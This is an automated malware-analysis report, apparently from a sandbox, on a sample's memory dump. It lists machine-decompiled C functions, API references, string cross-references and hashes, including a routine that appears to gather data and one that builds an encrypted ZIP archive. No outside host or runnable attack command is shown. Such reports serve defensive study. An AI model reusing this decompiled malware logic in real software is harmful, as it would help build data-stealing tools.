GetProcAddress.KERNEL32(60900000,00563C40,?,0040A281,?,004062F6,?,00000001,00000001,00000001,?,00000104,?,00001388), ref: 00406CF9

Strings

>V, xrefs: 00406CA3
;V, xrefs: 00406CD3
@<V, xrefs: 00406CEC
PFV, xrefs: 00406C72
8FV, xrefs: 00406C41

Memory Dump Source

Source File: 00000011.00000002.852390347.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: AddressProc
String ID: >V$8FV$@<V$PFV$;V
API String ID: 190572456-3723651123
Opcode ID: 5f0ab545f3936c0f078390459cbf290e446620d77583ec4f1e1738b55927e5fd
Instruction ID: ea6d172df72b9e2e78b893927dfba8edc851f2ae958263fcf11ff2795c500916
Opcode Fuzzy Hash: 5f0ab545f3936c0f078390459cbf290e446620d77583ec4f1e1738b55927e5fd
Instruction Fuzzy Hash: 5E217FB56146109FC354DFA8FD89AA637EAB74E300740C53AE90AC3261D7B5A81BCB1C

Uniqueness

Uniqueness Score: -1.00%

Function 004061A0, Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 169
stringCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E004061A0(void* __ebx, void* __ecx, void* __edi, void* __eflags) {
				char _v5004;
				char _v5268;
				char _v10268;
				char _v10272;
				char _v10276;
				char _v10540;
				char _v10544;
				char _t37;
				CHAR* _t46;
				intOrPtr _t51;
				CHAR* _t52;
				intOrPtr _t61;
				intOrPtr _t70;
				CHAR* _t71;
				void* _t74;
				CHAR* _t89;
				CHAR* _t91;
				intOrPtr _t92;
				intOrPtr _t94;
				intOrPtr _t95;
				CHAR* _t99;
				CHAR* _t105;
				CHAR* _t107;
				intOrPtr _t110;
				void* _t119;
				void* _t127;
				void* _t131;

				_t131 = __eflags;
				E00416530(0x292c);
				_t37 = E00413300(0, 0x6400000, 0); // executed
				_v10544 = _t37;
				E0040B2C0( &_v5268, 0x104);
				E0040B2C0( &_v10268, 0x1388);
				E0040B2C0( &_v10540, 0x104);
				lstrcatA( &_v5268, E0040B450( &_v10268, _t131, 8));
				_t89 =  *0x41fa0c; // 0x55eaa0
				lstrcatA( &_v5268, _t89);
				_t46 =  *0x41fb14; // 0x55ea00
				lstrcatA( &_v10540, _t46);
				_t105 =  *0x41ff6c; // 0x55c438
				lstrcatA( &_v10540, _t105);
				_t91 =  *0x41ff14; // 0x562a40
				lstrcatA( &_v10540, _t91);
				_t51 =  *0x41febc; // 0x562cb0
				_t92 =  *0x41fa34; // 0x562920
				_t107 =  *0x41ff6c; // 0x55c438
				_t52 = E00404EE0(_t92, _t107, _t92, _t51); // executed
				lstrcatA( &_v10268, _t52);
				E00405E70(__ebx, _v10544, __edi, _t131,  &_v10268, _v10544); // executed
				E0040B2C0( &_v10268, 0x1388);
				_t94 =  *0x41fe4c; // 0x55f250
				E004048E0( &_v10540, _t94); // executed
				E0040B2C0( &_v10540, 0x104);
				_t95 =  *0x420328; // 0x1
				_t110 =  *0x42032c; // 0x1
				_t61 =  *0x420324; // 0x1
				E0040A260(_t131, _v10544, _t61, _t110, _t95); // executed
				E00401430(_v10544); // executed
				E00405320(_v10544, _t131, _v10544); // executed
				_t127 = _t119 + 0x44;
				_t132 =  *0x420330;
				if( *0x420330 != 0) {
					E0040B890(_t132, 0x4b, _v10544); // executed
					_t127 = _t127 + 8;
				}
				E004133D0(_v10544,  &_v10276,  &_v10272);
				E0040B2C0( &_v5004, 0x1388);
				_t70 =  *0x41fa34; // 0x562920
				_t99 =  *0x41ff6c; // 0x55c438
				_t71 = E00404A20(_t99, _t132, _t99, _t70,  &_v5268, _v10276, _v10272); // executed
				lstrcatA( &_v5004, _t71);
				_t74 =  *0x42009c( &_v5004);
				_t133 = _t74 - 5;
				if(_t74 > 5) {
					E00405740(_t133,  &_v5004);
				}
				E0040B2C0( &_v5268, 0x104);
				E0040B2C0( &_v5004, 0x1388);
				E0040B2C0( &_v10276, 4);
				E0040B2C0( &_v10272, 4);
				E0040B2C0( &_v10544, 4); // executed
				E00405930(); // executed
				 *0x420334 = 1;
				return 0;
			}

0x004061a0
0x004061a8
0x004061b6
0x004061be
0x004061d0
0x004061e1
0x004061f2
0x00406209
0x0040620f
0x0040621d
0x00406223
0x00406230
0x00406236
0x00406244
0x0040624a
0x00406258
0x0040625e
0x00406264
0x0040626b
0x00406272
0x00406282
0x00406296
0x004062aa
0x004062af
0x004062bd
0x004062d1
0x004062d6
0x004062dd
0x004062e4
0x004062f1
0x00406300
0x0040630f
0x00406314
0x00406317
0x0040631e
0x00406329
0x0040632e
0x0040632e
0x00406346
0x0040635a
0x00406374
0x0040637a
0x00406381
0x00406391
0x0040639e
0x004063a4
0x004063a7
0x004063b0
0x004063b5
0x004063c4
0x004063d5
0x004063e3
0x004063f1
0x004063ff
0x00406404
0x00406409
0x00406418

APIs

lstrcatA.KERNEL32(?,00000000,00000104), ref: 00406209
lstrcatA.KERNEL32(?,0055EAA0), ref: 0040621D
lstrcatA.KERNEL32(?,0055EA00), ref: 00406230
lstrcatA.KERNEL32(?,0055C438), ref: 00406244
lstrcatA.KERNEL32(?,00562A40), ref: 00406258
lstrcatA.KERNEL32(?,00000000), ref: 00406282

Part of subcall function 00405E70: lstrcatA.KERNEL32(?,?,?,00000004,?,00000104,?,00000104,?,00000104,?,00001388), ref: 00405EE4
Part of subcall function 00405E70: _strtok_s.LIBCMT ref: 00405EFD

Part of subcall function 0040A260: RtlAllocateHeap.NTDLL(00000000,?,004062F6,?,00000001,00000001,00000001,?,00000104,?,00001388), ref: 0040A271

Part of subcall function 00405320: RtlAllocateHeap.NTDLL(00000000,?,?,00406314,?,?,?,?,?,00000104,?,00001388), ref: 00405332
Part of subcall function 00405320: lstrcatA.KERNEL32(?,0055EAE0,?,?,00406314,?,?,?,?,?,00000104,?,00001388), ref: 00405345
Part of subcall function 00405320: lstrcatA.KERNEL32(?,0055EA90,?,?,00406314,?,?,?,?,?,00000104,?,00001388), ref: 00405356
Part of subcall function 00405320: lstrcatA.KERNEL32(?,0041D300,?,?,00406314,?,?,?,?,?,00000104,?,00001388), ref: 00405365
Part of subcall function 00405320: lstrcatA.KERNEL32(?,0055EB40,?,?,00406314,?,?,?,?,?,00000104,?,00001388), ref: 00405376
Part of subcall function 00405320: lstrcatA.KERNEL32(?,0041D304,?,?,00406314,?,?,?,?,?,00000104,?,00001388), ref: 00405385
Part of subcall function 00405320: lstrcatA.KERNEL32(?,0055C5D8,?,?,00406314,?,?,?,?,?,00000104,?,00001388), ref: 00405396
Part of subcall function 00405320: lstrcatA.KERNEL32(?,0041D300,?,?,00406314,?,?,?,?,?,00000104,?,00001388), ref: 004053A5
Part of subcall function 00405320: lstrcatA.KERNEL32(?,00562950,?,?,00406314,?,?,?,?,?,00000104,?,00001388), ref: 004053B6
Part of subcall function 00405320: lstrcatA.KERNEL32(?,00000000,?,?,?,?,?,00000104,?,00001388), ref: 004053D0
Part of subcall function 00405320: lstrcatA.KERNEL32(0041D300,0041D300,?,?,?,?,00000104,?,00001388), ref: 004053DF
Part of subcall function 00405320: lstrcatA.KERNEL32(00562788,00562788,?,?,?,?,00000104,?,00001388), ref: 004053EF
Part of subcall function 00405320: lstrcatA.KERNEL32(00000000,00000000,?,?,?,?,00000104,?,00001388), ref: 004053FF
Part of subcall function 00405320: lstrcatA.KERNEL32(0041D304,0041D304,?,?,?,?,00000104,?,00001388), ref: 0040540E
Part of subcall function 00405320: lstrcatA.KERNEL32(005628A8,005628A8,?,?,?,?,00000104,?,00001388), ref: 0040541F
Part of subcall function 00405320: lstrcatA.KERNEL32(00000000,00000000,?,?,?,?,00000104,?,00001388), ref: 0040542F
Part of subcall function 00405320: lstrcatA.KERNEL32(0041D300,0041D300,?,?,?,?,00000104,?,00001388), ref: 0040543E
Part of subcall function 00405320: lstrcatA.KERNEL32(0055C6B8,0055C6B8,?,?,?,?,00000104,?,00001388), ref: 0040544F
Part of subcall function 00405320: lstrcatA.KERNEL32(00000000,00000000,?,?,?,?,00000104,?,00001388), ref: 0040545F
Part of subcall function 00405320: lstrcatA.KERNEL32(0041D304,0041D304,?,?,?,?,00000104,?,00001388), ref: 0040546E

lstrcatA.KERNEL32(?,00000000,?,?,?,?,00001388,?,?,?,?,?,?,?,?,00000104), ref: 00406391

Strings

@*V, xrefs: 0040624A
)V, xrefs: 00406264, 00406374

Memory Dump Source

Source File: 00000011.00000002.852390347.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: lstrcat$AllocateHeap$_strtok_s
String ID: )V$@*V
API String ID: 159443869-2005402935
Opcode ID: d44318335de087b9710db39ba1fcf7849a6a0782f47b163f41dfa115c8c40815
Instruction ID: 43458303a1dae9dfcf23445db0c3f520e004546406e1e3c781fc3999f6cf5a11
Opcode Fuzzy Hash: d44318335de087b9710db39ba1fcf7849a6a0782f47b163f41dfa115c8c40815
Instruction Fuzzy Hash: 47518AB6900314E7C711E760DC4ADDB737CAB48704F4085FEF609A3191DB74A6598FA8

Uniqueness

Uniqueness Score: -1.00%

Function 00437E50, Relevance: 14.7, APIs: 7, Strings: 1, Instructions: 741COMMON

Download Yara Rule

APIs

__putw.LIBCMTD ref: 00437ECC
_memset.LIBCMT ref: 004380F0
_memset.LIBCMT ref: 00438243
_memset.LIBCMT ref: 00438518

Strings

\H, xrefs: 00438372

Memory Dump Source

Source File: 00000011.00000002.852958670.0000000000424000.00000020.00020000.sdmp, Offset: 00424000, based on PE: false

Similarity

API ID: _memset$__putw
String ID: \H
API String ID: 562345036-2318946150
Opcode ID: 08306cd088198aa184aaba7859380f5cf0af1c088c7bbe813a5bc032683a73d5
Instruction ID: 4c650208652b4e861f5d6cfc717b7fee395804344d37cd288cc655bbcd8eda8e
Opcode Fuzzy Hash: 08306cd088198aa184aaba7859380f5cf0af1c088c7bbe813a5bc032683a73d5
Instruction Fuzzy Hash: 38424371144344BFE360ABA0DE4AFAB776CEB48B46F10442DF346A91E0DBB45944CB6E

Uniqueness

Uniqueness Score: -1.00%

Function 004124A0, Relevance: 14.7, APIs: 4, Strings: 4, Instructions: 688
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E004124A0(signed int* __ecx, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				signed int _v8;
				char _v9;
				char _v20;
				signed int _v24;
				signed int _v28;
				signed int _v29;
				signed int _v30;
				char _v44;
				char _v308;
				signed int _v312;
				signed int _v313;
				signed int _v320;
				void* _v324;
				char _v328;
				char _v329;
				char _v330;
				char _v331;
				char _v332;
				char _v333;
				char _v334;
				char _v335;
				char _v336;
				char _v337;
				char _v338;
				char _v339;
				char _v340;
				char _v341;
				char _v342;
				char _v343;
				char _v344;
				signed int _v352;
				signed int _v356;
				signed int _v364;
				char _v624;
				char _v884;
				signed int _v888;
				signed int _v892;
				signed int _v896;
				char _v1156;
				intOrPtr _v1160;
				signed int _v1164;
				short _v1168;
				short _v1170;
				short _v1172;
				signed int _v1176;
				signed int _v1180;
				signed int _v1184;
				signed int _v1188;
				signed int _v1192;
				signed int _v1196;
				signed int _v1200;
				unsigned int _v1204;
				signed int _v1206;
				signed int _v1208;
				short _v1210;
				void _v1212;
				signed int _v1216;
				char* _v1220;
				signed char* _v1224;
				signed int _v1228;
				signed int _v1232;
				signed int _v1236;
				signed int _v1240;
				void* _v1244;
				signed int* _v1248;
				intOrPtr* _v1252;
				char* _v1256;
				intOrPtr _v1260;
				char _v1261;
				intOrPtr* _v1268;
				signed int _v1272;
				char _v1273;
				intOrPtr _v1280;
				signed int _v1284;
				intOrPtr* _v1288;
				char* _v1292;
				intOrPtr _v1296;
				char _v1297;
				intOrPtr* _v1304;
				signed int _v1308;
				char _v1309;
				signed int _v1316;
				signed int _v1320;
				char _v1321;
				signed int _v1328;
				signed int _v1332;
				char _t427;
				signed int _t461;
				signed int _t464;
				signed int* _t467;
				signed char _t503;
				signed char _t507;
				signed int _t515;
				signed char _t521;
				signed int _t523;
				signed int _t527;
				signed int _t542;
				signed char _t548;
				signed int _t551;
				signed int* _t559;
				char _t574;
				intOrPtr* _t596;
				signed int* _t611;
				signed int _t619;
				signed int _t630;
				signed int _t637;
				signed int _t643;
				signed int* _t647;
				intOrPtr _t656;
				signed int _t669;
				signed int* _t710;
				signed int _t719;
				signed int* _t720;
				signed int* _t723;
				signed int _t737;
				signed int _t742;
				char _t743;
				int _t759;
				void* _t760;
				void* _t761;
				void* _t762;

				_v1248 = __ecx;
				if(_v1248[5] == 0) {
					_t559 = _v1248;
					__eflags =  *(_t559 + 0x2c) & 0x000000ff;
					if(( *(_t559 + 0x2c) & 0x000000ff) == 0) {
						_v320 = 0;
						__eflags =  *_v1248;
						if( *_v1248 != 0) {
							__eflags = _a16 - 4;
							if(_a16 != 4) {
								_v320 = 0xc;
							}
						}
						_v1252 = _a4;
						_v1256 =  &_v308;
						_v1260 = _v1256;
						do {
							_v1261 =  *_v1252;
							 *_v1256 = _v1261;
							_v1252 = _v1252 + 1;
							_v1256 = _v1256 + 1;
							__eflags = _v1261;
						} while (_v1261 != 0);
						__eflags = _v308;
						if(_v308 != 0) {
							_v1220 =  &_v308;
							while(1) {
								__eflags =  *_v1220;
								if( *_v1220 == 0) {
									break;
								}
								__eflags =  *_v1220 - 0x5c;
								if( *_v1220 == 0x5c) {
									 *_v1220 = 0x2f;
								}
								_v1220 = _v1220 + 1;
							}
							__eflags = _a16 - 4;
							_v29 = 0 | _a16 == 0x00000004;
							__eflags = _v29 & 0x000000ff;
							if((_v29 & 0x000000ff) == 0) {
								L21:
								_v1284 = 0;
								L22:
								_v30 = _v1284;
								_v28 = 8;
								__eflags = _v29 & 0x000000ff;
								if((_v29 & 0x000000ff) != 0) {
									L24:
									_v28 = 0;
									L25:
									__eflags = _a16 - 2;
									if(_a16 != 2) {
										__eflags = _a16 - 1;
										if(_a16 != 1) {
											__eflags = _a16 - 3;
											if(_a16 != 3) {
												__eflags = _a16 - 4;
												if(__eflags != 0) {
													return 0x10000;
												}
												_v24 = E00411FA0(_v1248, __eflags);
												L34:
												__eflags = _v24;
												if(_v24 == 0) {
													_v352 = 0;
													_t427 =  *0x4187ce; // 0x0
													_v1156 = _t427;
													_v1288 =  &_v308;
													_v1292 =  &_v884;
													_v1296 = _v1292;
													do {
														_v1297 =  *_v1288;
														 *_v1292 = _v1297;
														_v1288 = _v1288 + 1;
														_v1292 = _v1292 + 1;
														__eflags = _v1297;
													} while (_v1297 != 0);
													_v1304 =  &_v884;
													_t669 = _v1304 + 1;
													__eflags = _t669;
													_v1308 = _t669;
													do {
														_v1309 =  *_v1304;
														_v1304 = _v1304 + 1;
														__eflags = _v1309;
													} while (_v1309 != 0);
													_v1316 = _v1304 - _v1308;
													_v1188 = _v1316;
													__eflags = _v30 & 0x000000ff;
													if((_v30 & 0x000000ff) == 0) {
														L44:
														_t574 =  *0x4187ce; // 0x0
														_v624 = _t574;
														_v896 = 0;
														_v1184 = 0;
														_v892 = 0;
														_v1180 = 0;
														_v888 = 0;
														_v1176 = 0;
														_v364 = 1;
														_v356 = 0;
														_v1170 = 0;
														_v1212 = 0xb17;
														_v1210 = 0x14;
														_v1204 = _v1248[0x1a];
														_v1200 = 0;
														_v1208 = 8;
														__eflags =  *_v1248;
														if( *_v1248 != 0) {
															__eflags = _v29 & 0x000000ff;
															if((_v29 & 0x000000ff) == 0) {
																_v1208 = 9;
															}
														}
														_v1168 = _v1208;
														_v1206 = _v28;
														__eflags = _v28;
														if(_v28 != 0) {
															L50:
															_v1328 = 0;
															goto L51;
														} else {
															_t647 = _v1248;
															__eflags =  *(_t647 + 0x70);
															if( *(_t647 + 0x70) < 0) {
																goto L50;
															}
															_v1328 = _v1248[0x1c] + _v320;
															L51:
															_v1196 = _v1328;
															_v1192 = _v1248[0x1c];
															_v1172 = 0;
															_v1164 = _v1248[0x13];
															_v1160 = _v1248[6] + _v1248[4];
															_v896 =  &_v344;
															_v1184 = 0x11;
															_v892 =  &_v44;
															_v1180 = 9;
															_v344 = 0x55;
															_v343 = 0x54;
															_v342 = 0xd;
															_v341 = 0;
															_v340 = 7;
															_v339 = _v1248[0x16];
															_v338 = E00416790(_v1248[0x16], 8, _v1248[0x17]);
															_v337 = E00416790(_v1248[0x16], 0x10, _v1248[0x17]);
															_v336 = E00416790(_v1248[0x16], 0x18, _v1248[0x17]);
															_v335 = _v1248[0x14];
															_v334 = E00416790(_v1248[0x14], 8, _v1248[0x15]);
															_v333 = E00416790(_v1248[0x14], 0x10, _v1248[0x15]);
															_v332 = E00416790(_v1248[0x14], 0x18, _v1248[0x15]);
															_v331 = _v1248[0x18];
															_v330 = E00416790(_v1248[0x18], 8, _v1248[0x19]);
															_v329 = E00416790(_v1248[0x18], 0x10, _v1248[0x19]);
															_v328 = E00416790(_v1248[0x18], 0x18, _v1248[0x19]);
															_t461 = _v896;
															_t596 = _v892;
															 *_t596 =  *_t461;
															 *((intOrPtr*)(_t596 + 4)) =  *((intOrPtr*)(_t461 + 4));
															 *((char*)(_t596 + 8)) =  *((intOrPtr*)(_t461 + 8));
															 *((char*)(_v892 + 2)) = 5;
															_t464 = E0040FF80( &_v1212, E00411950, _v1248);
															_t762 = _t761 + 0xc;
															_v1216 = _t464;
															__eflags = _v1216;
															if(_v1216 == 0) {
																_v1248[6] = _v1188 + _v1184 + 0x1e + _v1248[6];
																_t467 = _v1248;
																__eflags =  *(_t467 + 0x14);
																if( *(_t467 + 0x14) == 0) {
																	_v1248[0xc] = 0x12345678;
																	_v1248[0xd] = 0x23456789;
																	_v1248[0xe] = 0x34567890;
																	_v1224 =  *_v1248;
																	while(1) {
																		__eflags = _v1224;
																		if(_v1224 == 0) {
																			break;
																		}
																		__eflags =  *_v1224;
																		if( *_v1224 == 0) {
																			break;
																		}
																		E00410FC0( &(_v1248[0xc]),  *_v1224 & 0x000000ff);
																		_t762 = _t762 + 8;
																		_t643 =  &(_v1224[1]);
																		__eflags = _t643;
																		_v1224 = _t643;
																	}
																	__eflags =  *0x420400 & 0x000000ff;
																	if(( *0x420400 & 0x000000ff) == 0) {
																		_t527 =  *0x420214();
																		_t759 = _t527 ^  *0x42001c();
																		__eflags = _t759;
																		srand(_t759);
																		_t762 = _t762 + 4;
																	}
																	_v1228 = 0;
																	while(1) {
																		__eflags = _v1228 - 0xc;
																		if(_v1228 >= 0xc) {
																			break;
																		}
																		 *((char*)(_t760 + _v1228 - 0x10)) = rand() >> 0x00000007 & 0x000000ff;
																		_t737 = _v1228 + 1;
																		__eflags = _t737;
																		_v1228 = _t737;
																	}
																	_v9 = _v1204 >> 0x00000008 & 0x000000ff;
																	_v1232 = 0;
																	while(1) {
																		__eflags = _v1232 - 0xc;
																		if(__eflags >= 0) {
																			break;
																		}
																		_t521 = E00411070(_v1232, __eflags,  &(_v1248[0xc]),  *(_t760 + _v1232 - 0x10) & 0x000000ff);
																		_t762 = _t762 + 8;
																		 *(_t760 + _v1232 - 0x10) = _t521;
																		_t523 = _v1232 + 1;
																		__eflags = _t523;
																		_v1232 = _t523;
																	}
																	__eflags =  *_v1248;
																	if( *_v1248 != 0) {
																		__eflags = _v29 & 0x000000ff;
																		if((_v29 & 0x000000ff) == 0) {
																			E00411950( &_v20, _v1248,  &_v20, 0xc);
																			_t762 = _t762 + 0xc;
																			_t637 = _v1248[6] + 0xc;
																			__eflags = _t637;
																			_v1248[6] = _t637;
																		}
																	}
																	_v8 = 0;
																	__eflags =  *_v1248;
																	if( *_v1248 == 0) {
																		L76:
																		_v1332 = 0;
																		goto L77;
																	} else {
																		__eflags = _v29 & 0x000000ff;
																		if((_v29 & 0x000000ff) != 0) {
																			goto L76;
																		}
																		_v1332 = 1;
																		L77:
																		_v1248[0xb] = _v1332;
																		__eflags = _v29 & 0x000000ff;
																		if((_v29 & 0x000000ff) != 0) {
																			L80:
																			__eflags = _v29 & 0x000000ff;
																			if((_v29 & 0x000000ff) != 0) {
																				L83:
																				__eflags = _v29 & 0x000000ff;
																				if((_v29 & 0x000000ff) != 0) {
																					_v1248[0x24] = 0;
																				}
																				L85:
																				_v1248[0xb] = 0;
																				E00412200(_v1248);
																				_v1248[6] = _v1248[6] + _v1248[0x24];
																				_t710 = _v1248;
																				__eflags =  *(_t710 + 0x14);
																				if( *(_t710 + 0x14) == 0) {
																					__eflags = _v8;
																					if(_v8 == 0) {
																						__eflags = _v1196 - _v1248[0x24] + _v320;
																						_v313 = 0 | _v1196 == _v1248[0x24] + _v320;
																						_v1200 = _v1248[0x1e];
																						_v1196 = _v1248[0x24] + _v320;
																						_v1192 = _v1248[0x1c];
																						_t611 = _v1248;
																						__eflags =  *(_t611 + 0x1c) & 0x000000ff;
																						if(( *(_t611 + 0x1c) & 0x000000ff) == 0) {
																							L101:
																							__eflags = (_v1206 & 0x0000ffff) - (_v28 & 0x0000ffff);
																							if((_v1206 & 0x0000ffff) == (_v28 & 0x0000ffff)) {
																								__eflags = _v28;
																								if(_v28 != 0) {
																									L106:
																									_v1216 = E00410390( &_v1212, E00411950, _v1248);
																									__eflags = _v1216;
																									if(_v1216 == 0) {
																										_t719 = _v1248[6] + 0x10;
																										__eflags = _t719;
																										_v1248[6] = _t719;
																										_v1208 = _v1168;
																										L109:
																										_t720 = _v1248;
																										__eflags =  *(_t720 + 0x14);
																										if( *(_t720 + 0x14) == 0) {
																											_v1240 = E0040B130(_v1180, _v1180);
																											_v312 = _v1240;
																											E00416170(_v312, _v892, _v1180);
																											_v892 = _v312;
																											_v1244 = E0040B130(_v892, 0x360);
																											_v324 = _v1244;
																											memcpy(_v324,  &_v1212, 0xd8 << 2);
																											_t723 = _v1248;
																											__eflags =  *(_t723 + 0x44);
																											if( *(_t723 + 0x44) != 0) {
																												_v1236 = _v1248[0x11];
																												while(1) {
																													_t619 = _v1236;
																													__eflags =  *(_t619 + 0x35c);
																													if( *(_t619 + 0x35c) == 0) {
																														break;
																													}
																													_v1236 =  *((intOrPtr*)(_v1236 + 0x35c));
																												}
																												 *((intOrPtr*)(_v1236 + 0x35c)) = _v324;
																												L117:
																												__eflags = 0;
																												return 0;
																											}
																											_v1248[0x11] = _v324;
																											goto L117;
																										}
																										return _v1248[5];
																									}
																									return 0x400;
																								}
																								__eflags = _v313 & 0x000000ff;
																								if((_v313 & 0x000000ff) != 0) {
																									goto L106;
																								}
																								return 0x4000000;
																							}
																							return 0x4000000;
																						}
																						__eflags =  *_v1248;
																						if( *_v1248 == 0) {
																							L92:
																							_v1206 = _v28;
																							__eflags = _v1208 & 1;
																							if((_v1208 & 1) == 0) {
																								_t630 = _v1208 & 0xfff7;
																								__eflags = _t630;
																								_v1208 = _t630;
																							}
																							_v1168 = _v1208;
																							_t503 = E00411B00(_v1248, _v1160 - _v1248[4]);
																							__eflags = _t503 & 0x000000ff;
																							if((_t503 & 0x000000ff) != 0) {
																								_v1216 = E0040FF80( &_v1212, E00411950, _v1248);
																								__eflags = _v1216;
																								if(_v1216 == 0) {
																									_t507 = E00411B00(_v1248, _v1248[6]);
																									__eflags = _t507 & 0x000000ff;
																									if((_t507 & 0x000000ff) != 0) {
																										goto L109;
																									}
																									return 0x2000000;
																								}
																								return 0x400;
																							} else {
																								return 0x2000000;
																							}
																						}
																						__eflags = _v29 & 0x000000ff;
																						if((_v29 & 0x000000ff) == 0) {
																							goto L101;
																						}
																						goto L92;
																					}
																					return 0x400;
																				}
																				return _v1248[5];
																			}
																			__eflags = _v28;
																			if(__eflags != 0) {
																				goto L83;
																			}
																			_v8 = E00412420(_v1248, __eflags);
																			goto L85;
																		}
																		__eflags = _v28 - 8;
																		if(_v28 != 8) {
																			goto L80;
																		}
																		_t515 = E00412290(_v1248,  &_v1212); // executed
																		_v8 = _t515;
																		goto L85;
																	}
																}
																E00412200(_v1248);
																return _v1248[5];
															}
															E00412200(_v1248);
															return 0x400;
														}
													}
													_t742 =  &_v884 + 0xffffffff;
													__eflags = _t742;
													_v1320 = _t742;
													do {
														_v1321 =  *((intOrPtr*)(_v1320 + 1));
														_v1320 = _v1320 + 1;
														__eflags = _v1321;
													} while (_v1321 != 0);
													_t743 = "/"; // 0x2f
													 *_v1320 = _t743;
													_t542 = _v1188 + 1;
													__eflags = _t542;
													_v1188 = _t542;
													goto L44;
												}
												return _v24;
											}
											_v24 = E00411E70(_v1248, _a8, _a12);
											goto L34;
										}
										_v24 = E00411CC0(_v1248, _a8, _a12);
										goto L34;
									}
									_v24 = E00411BF0(_v1248, _a8);
									goto L34;
								}
								_t548 = E004110B0( &_v308);
								_t761 = _t761 + 4;
								__eflags = _t548 & 0x000000ff;
								if((_t548 & 0x000000ff) == 0) {
									goto L25;
								}
								goto L24;
							}
							_v1268 =  &_v308;
							_t551 = _v1268 + 1;
							__eflags = _t551;
							_v1272 = _t551;
							do {
								_v1273 =  *_v1268;
								_v1268 = _v1268 + 1;
								__eflags = _v1273;
							} while (_v1273 != 0);
							_v1280 = _v1268 - _v1272;
							_t656 = _v1280;
							__eflags =  *((char*)(_t760 + _t656 - 0x131)) - 0x2f;
							if( *((char*)(_t760 + _t656 - 0x131)) == 0x2f) {
								goto L21;
							}
							_v1284 = 1;
							goto L22;
						}
						return 0x10000;
					}
					return 0x50000;
				}
				return 0x40000;
			}

0x004124ab
0x004124bb
0x004124c7
0x004124d1
0x004124d3
0x004124df
0x004124ef
0x004124f2
0x004124f4
0x004124f8
0x004124fa
0x004124fa
0x004124f8
0x00412507
0x00412513
0x0041251f
0x00412525
0x0041252d
0x0041253f
0x0041254a
0x00412559
0x0041255f
0x0041255f
0x0041256f
0x00412571
0x00412583
0x00412589
0x00412592
0x00412594
0x00000000
0x00000000
0x0041259f
0x004125a2
0x004125aa
0x004125aa
0x004125b6
0x004125b6
0x004125c0
0x004125c7
0x004125ce
0x004125d0
0x0041263c
0x0041263c
0x00412646
0x0041264c
0x0041264f
0x0041265a
0x0041265c
0x00412674
0x00412674
0x0041267b
0x0041267b
0x0041267f
0x00412695
0x00412699
0x004126b3
0x004126b7
0x004126d1
0x004126d5
0x00000000
0x004126e7
0x004126e2
0x004126f1
0x004126f1
0x004126f5
0x004126ff
0x00412709
0x0041270e
0x0041271a
0x00412726
0x00412732
0x00412738
0x00412740
0x00412752
0x0041275d
0x0041276c
0x00412772
0x00412772
0x00412781
0x0041278d
0x0041278d
0x00412790
0x00412796
0x0041279e
0x004127a4
0x004127ab
0x004127ab
0x004127c0
0x004127cc
0x004127d6
0x004127d8
0x00412827
0x00412827
0x0041282d
0x00412833
0x0041283d
0x00412847
0x00412851
0x0041285b
0x00412865
0x0041286f
0x00412879
0x00412885
0x00412891
0x0041289d
0x004128ad
0x004128b3
0x004128c2
0x004128cf
0x004128d2
0x004128d8
0x004128da
0x004128e1
0x004128e1
0x004128da
0x004128ef
0x004128fa
0x00412901
0x00412905
0x0041292a
0x0041292a
0x00000000
0x00412907
0x00412907
0x0041290d
0x00412911
0x00000000
0x00000000
0x00412922
0x00412934
0x0041293a
0x00412949
0x00412951
0x00412961
0x00412979
0x00412985
0x0041298b
0x00412998
0x0041299e
0x004129a8
0x004129af
0x004129b6
0x004129bd
0x004129c4
0x004129d4
0x004129ed
0x00412a06
0x00412a1f
0x00412a2e
0x00412a47
0x00412a60
0x00412a79
0x00412a88
0x00412aa1
0x00412aba
0x00412ad3
0x00412ad9
0x00412adf
0x00412ae7
0x00412aec
0x00412af2
0x00412afb
0x00412b12
0x00412b17
0x00412b1a
0x00412b20
0x00412b27
0x00412b5d
0x00412b60
0x00412b66
0x00412b6a
0x00412b8b
0x00412b98
0x00412ba5
0x00412bb4
0x00412bcb
0x00412bcb
0x00412bd2
0x00000000
0x00000000
0x00412bdd
0x00412bdf
0x00000000
0x00000000
0x00412bf5
0x00412bfa
0x00412bc2
0x00412bc2
0x00412bc5
0x00412bc5
0x00412c06
0x00412c08
0x00412c0a
0x00412c18
0x00412c18
0x00412c1b
0x00412c21
0x00412c21
0x00412c24
0x00412c3f
0x00412c3f
0x00412c46
0x00000000
0x00000000
0x00412c5c
0x00412c36
0x00412c36
0x00412c39
0x00412c39
0x00412c71
0x00412c74
0x00412c8f
0x00412c8f
0x00412c96
0x00000000
0x00000000
0x00412cae
0x00412cb3
0x00412cbc
0x00412c86
0x00412c86
0x00412c89
0x00412c89
0x00412cc8
0x00412ccb
0x00412cd1
0x00412cd3
0x00412ce2
0x00412ce7
0x00412cf3
0x00412cf3
0x00412cfc
0x00412cfc
0x00412cd3
0x00412cff
0x00412d0c
0x00412d0f
0x00412d25
0x00412d25
0x00000000
0x00412d11
0x00412d15
0x00412d17
0x00000000
0x00000000
0x00412d19
0x00412d2f
0x00412d3b
0x00412d42
0x00412d44
0x00412d63
0x00412d67
0x00412d69
0x00412d81
0x00412d85
0x00412d87
0x00412d8f
0x00412d8f
0x00412d99
0x00412d9f
0x00412da9
0x00412dc9
0x00412dcc
0x00412dd2
0x00412dd6
0x00412de6
0x00412dea
0x00412e0a
0x00412e13
0x00412e22
0x00412e3a
0x00412e49
0x00412e4f
0x00412e59
0x00412e5b
0x00412f39
0x00412f44
0x00412f46
0x00412f52
0x00412f56
0x00412f6d
0x00412f88
0x00412f8e
0x00412f95
0x00412faa
0x00412faa
0x00412fb3
0x00412fbd
0x00412fc4
0x00412fc4
0x00412fca
0x00412fce
0x00412fed
0x00412ff9
0x00413014
0x00413022
0x00413035
0x00413041
0x00413058
0x0041305a
0x00413060
0x00413064
0x00413080
0x00413086
0x00413086
0x0041308c
0x00413093
0x00000000
0x00000000
0x004130a1
0x004130a1
0x004130b5
0x004130bb
0x004130bb
0x00000000
0x004130bb
0x00413072
0x00000000
0x00413072
0x00000000
0x00412fd6
0x00000000
0x00412f97
0x00412f5f
0x00412f61
0x00000000
0x00000000
0x00000000
0x00412f63
0x00000000
